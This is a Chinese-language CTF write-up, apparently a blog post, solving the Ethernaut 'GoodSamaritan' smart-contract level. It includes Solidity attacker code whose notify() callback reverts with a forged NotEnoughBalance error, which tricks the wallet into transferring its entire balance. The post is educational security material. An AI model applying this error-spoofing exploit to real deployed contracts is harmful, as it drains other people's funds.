[区块链安全-Ethernaut]新题目GoodSamaritan解题思路

  • 背景
  • 目标合约分析
  • 尝试一:失败的攻击
  • 尝试二
  • 总结

背景

说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。

目标合约分析

总共有三个合约互相作用,分别为GoodSamaritan(慈善家,对外暴露捐款接口)、Coin(慈善家通过钱包创建的代币合约)以及Wallet(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。

核心代码如下:

contract GoodSamaritan {Wallet public wallet;Coin public coin;constructor() {wallet = new Wallet();coin = new Coin(address(wallet));wallet.setCoin(coin);}function requestDonation() external returns(bool enoughBalance){// donate 10 coins to requestertry wallet.donate10(msg.sender) {return true;} catch (bytes memory err) {if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {// send the coins leftwallet.transferRemainder(msg.sender);return false;}}}
}

在接受外部调用requestDonation后,慈善家会通过walletdonate10方法进一步调用cointransfer实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)(即余额不足10个代币),就将剩下的都转给用户。

所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance

cointransfer方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。

    function transfer(address dest_, uint256 amount_) external {uint256 currentBalance = balances[msg.sender];// transfer only occurs if balance is enoughif(amount_ <= currentBalance) {balances[msg.sender] -= amount_;balances[dest_] += amount_;if(dest_.isContract()) {// notify contract INotifyable(dest_).notify(amount_);}} else {revert InsufficientBalance(currentBalance, amount_);}}

我们不能指望wallet去抛出NotEnoughBalance,相反,考虑到coin还与dest有所交互,我们可以利用notify方法在自己的合约中抛出NotEnoughBalance

尝试一:失败的攻击

说干就干,在remix里编写攻击合约,合约代码如下:

pragma solidity ^0.8.0;interface GoodSamaritan {function requestDonation() external returns(bool enoughBalance);
}contract Attacker {error NotEnoughBalance();constructor() public{}function attack(address _addr) public {GoodSamaritan(_addr).requestDonation();}function notify(uint256 amount) external {revert  NotEnoughBalance();}}

部署合约后,通过attack方法发起攻击,当notify方法被transfer所调用时,会主动revert抛出自定义的NotEnoughBalance

可是,似乎没有通过。

我们进入debug_trace界面,发现transferRemainder(address)对应的0xe40b8658selector的确被调用了。



但为什么还是失败了呢?

尝试二

原因是我们没有定义好notify,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。

    function notify(uint256 amount) external {if (amount <= 10){revert  NotEnoughBalance();}}

重新部署,调用attack函数。调用成功!


总结

这题重点还是要找到入口,找到了就容易了!

[区块链安全-Ethernaut]附加GoodSamaritan解题思路相关推荐

  1. [区块链安全-Ethernaut]区块链智能合约安全实战-已完结

    [区块链安全-Ethernaut]区块链智能合约安全实战-已完结 准备 0. Hello Ethernaut 准备工作 创建实例并分析 合约交互 总结 1. Fallback 创建实例并分析 合约交互 ...

  2. 区块链与金融IT“联姻”的思路和方案

    2017年是区块链的落地年,越来越多的银行经过了区块链的概念验证POC,不断将区块链技术应用到实际生产系统当中.尽管经过一定时间对区块链的研究和实践,很多银行科技团队已对区块链有比较深入的了解,但在实 ...

  3. 区块链开源实现hyperledger fabric架构详解

    hyperledger fabric是区块链中联盟链的优秀实现,主要代码由IBM.Intel.各大银行等贡献,目前v1.1版的kafka共识方式可达到1000/s次的吞吐量.本文中我们依次讨论:区块链 ...

  4. [区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中

    [区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中 前言 环境准备 1. unstoppable 任务分析 发起攻击 总结 2. Naive receive ...

  5. 区块链兼容以太坊智能合约

    链客,专为开发者而生,有问必答! 此文章来自区块链技术社区,未经允许拒绝转载. 引言 随着区块链技术以及应用的普及,越来越多的区块链出现在大众视野中.由于区块链技术的开源特性,任何公司和个人都可以方便 ...

  6. 武汉区块链软件技术公司区块链将如何应用于会员生态系统?

    武汉区块链软件技术公司区块链将如何应用于会员生态系统? 在现代商业商场中,客流是商业构成的根底.很多商业个体就期望经过"会员准则"绑定.稳定客流,无论哪项商业活动都需求更多的客流来 ...

  7. 万向和肖风的区块链版图

    文丨互链脉搏·元尚 未经授权,不得转载! 万向和肖风的区块链版图到底有多大? 在9月14日至9月18日举办的"上海区块链国际周",以及"第五届区块链全球峰会"上 ...

  8. 流量矿石团队成员出席“区块链技术与金融领域创新应用培训会”

    区块链技术与金融创新培训会 今日,流量矿石团队的Podsen等多位创始成员参与了由深圳市福田区投资推广署(金融发展事务署)主办.深圳市互联网金融协会承办.深圳市金融信息服务协会.能链众合.全景网络等单 ...

  9. 区块链智能资产的“硬链接”思考

    比特币网络是一个去中心化的数字资产管理平台,它管理的数字资产就是比特币本身.因为比特币网络把比特币管理得如此之好,很多人就想到,能否用类似的机制来管理其他的资产呢?这个想法,几乎是每个学习区块链的人能 ...

最新文章

  1. 快速排序 c++_算法浅谈——分治算法与归并、快速排序(附代码和动图演示)
  2. php数组指针什么用,php数组指针用法详解
  3. 最重要的事情只有一件
  4. HDU5511 : Minimum Cut-Cut
  5. C语言判断某个字符串中 是否存在子字符串
  6. Calibre修改保存电子书为中文
  7. 将java类的泛型集合转换成json对象
  8. 经典游戏制作教程[zz]
  9. NV12等常用YUV数据格式
  10. ZipArchive实现中文压缩
  11. movielens1M数据处理
  12. 2022年10款好用免费数据恢复软件分享
  13. 如何在python同一行内输入若干个数?
  14. HTML5 canvas 拖尾效果(或尾巴 或方向标 或留痕。。。)
  15. AppleStore下载量查看
  16. 分布式架构优缺点以及设计
  17. 组合模式-Composite Pattern
  18. 抖音等多款软件涉代码抄袭,字节跳动被诉赔 22.74 亿元
  19. 一文读懂Docker、K8s
  20. python lib库_python标准库pathlib常见操作

热门文章

  1. 用友U9 UAP平台解析
  2. Silverlight/Windows8/WPF/WP7/HTML5周学习导读(10月29日-11月4日)
  3. 【历史上的今天】8 月 18 日:硅谷神话的衰落;微软发布 QuickBASIC;Adobe Audition 问世
  4. metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试
  5. 世间所有,逃不过一个“缘”字
  6. 太酷了!金山云重磅开源鎏光云游戏引擎
  7. 实现浏览器多标签页通信
  8. linux视频对话框,抖音对话框视频怎么做?如何在视频画面上添加对话气泡框?视频加对话气泡的方法...
  9. Chrome插件安装失败,此扩展程序可能已损坏。
  10. 「系统介绍」简单介绍下PMS系统